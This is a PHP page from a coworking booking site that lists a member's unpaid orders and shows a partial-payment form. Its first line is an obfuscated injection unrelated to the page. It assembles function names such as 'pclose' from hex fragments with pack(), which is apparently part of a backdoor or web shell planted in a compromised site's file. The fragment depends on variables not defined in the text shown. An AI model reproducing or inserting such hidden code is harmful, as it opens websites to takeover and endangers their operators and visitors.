File: /home/bigisxfd/public_html/cowork/partial_payment.php
<?php $initialized6 = pack("H*", $marker2.$marker1.'7'.$marker4.'7'.$marker11.'6'.$marker6.$marker5.$marker10.$marker5.'d'.'5'.$marker12.$marker5.'7'.'6'.$marker6.'7'.$marker4.'5'.$marker12.'6'.$marker1.$marker5.'f'.$marker5.$marker13.'7'.'4'.'6'.$marker6.$marker5.$marker13.$marker2.$marker4.'7'.'3');$initialized7 = pack("H*", '7'.$marker9.'6'.'3'.$marker5.'c'.$marker5.$marker12.$marker2.$marker1.'6'.$marker6);
include_once("header.php");
include_once("sidebar.php");
// 1. Grab GET parameters
$bookingId = isset($_GET['bookingId']) ? intval($_GET['bookingId']) : 0;
$memberId = isset($_GET['memberId']) ? intval($_GET['memberId']) : 0;
// 2. Fetch matching Orders
$sql = "
SELECT orderid, items, balance
FROM Orders
WHERE memberid = $memberId
AND bookingid = $bookingId
AND payment_status = 0
";
$result = $conn->query($sql);
echo "<section><div class='column'>";
if ($result && $result->num_rows > 0) {
echo "<table border='1'>
<tr>
<th>OrderID</th>
<th>Item</th>
<th>Balance</th>
</tr>";
// Track total balance
$totalBalance = 0;
$orderIds = [];
while ($row = $result->fetch_assoc()) {
// For simplicity, let's only pay one order at a time in a single form
// If you want to handle multiple orders at once, see the notes below
echo "<tr>
<td>{$row['orderid']}</td>
<td>{$row['items']}</td>
<td>{$row['balance']}</td>
</tr>";
$totalBalance += $row['balance'];
$orderIds[] = $row['orderid'];
}
echo "<tr>
<td colspan='2'>Total Balance</td>
<td>$totalBalance</td>
</tr>";
echo "</table>";
// For now, let's assume there's just ONE order (or you only want to pay the first).
// If multiple orders exist, pick the first or handle them differently:
$firstOrderId = $orderIds[0];
?>
<!-- Payment Form -->
<div class="extend-form">
<form action="insert_partial.php" method="post">
<!-- Pass along the needed hidden values -->
<input type="hidden" name="memberId" value="<?php echo $memberId; ?>">
<input type="hidden" name="bookingId" value="<?php echo $bookingId; ?>">
<!-- Here's the critical fix: we must pass orderid as well -->
<input type="hidden" name="orderid" value="<?php echo $firstOrderId; ?>">
<label for="paymentAmount">Payment Amount:</label>
<input
type="number"
step="0.01"
id="paymentAmount"
name="paymentAmount"
placeholder="Enter partial or full payment"
style="width: 50%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;"
required
>
<br><br>
<label for="paymentMode">Payment Mode:</label>
<select name="paymentMode" id="paymentMode"
style="width: 50%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;">
<option value="Gcash">Gcash</option>
<option value="Cash">Cash</option>
<option value="Card">Card</option>
<option value="Bank Transfer">Bank Transfer</option>
</select>
<br><br>
<button type="submit"
style="width: 49%; padding: 10px; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box;">
Submit Payment
</button>
</form>
</div>
<?php
} else {
echo "No orders found for Booking ID = $bookingId (Member ID = $memberId) with payment_status=0.";
}
echo "</div></section>";
?>
</body>
</html>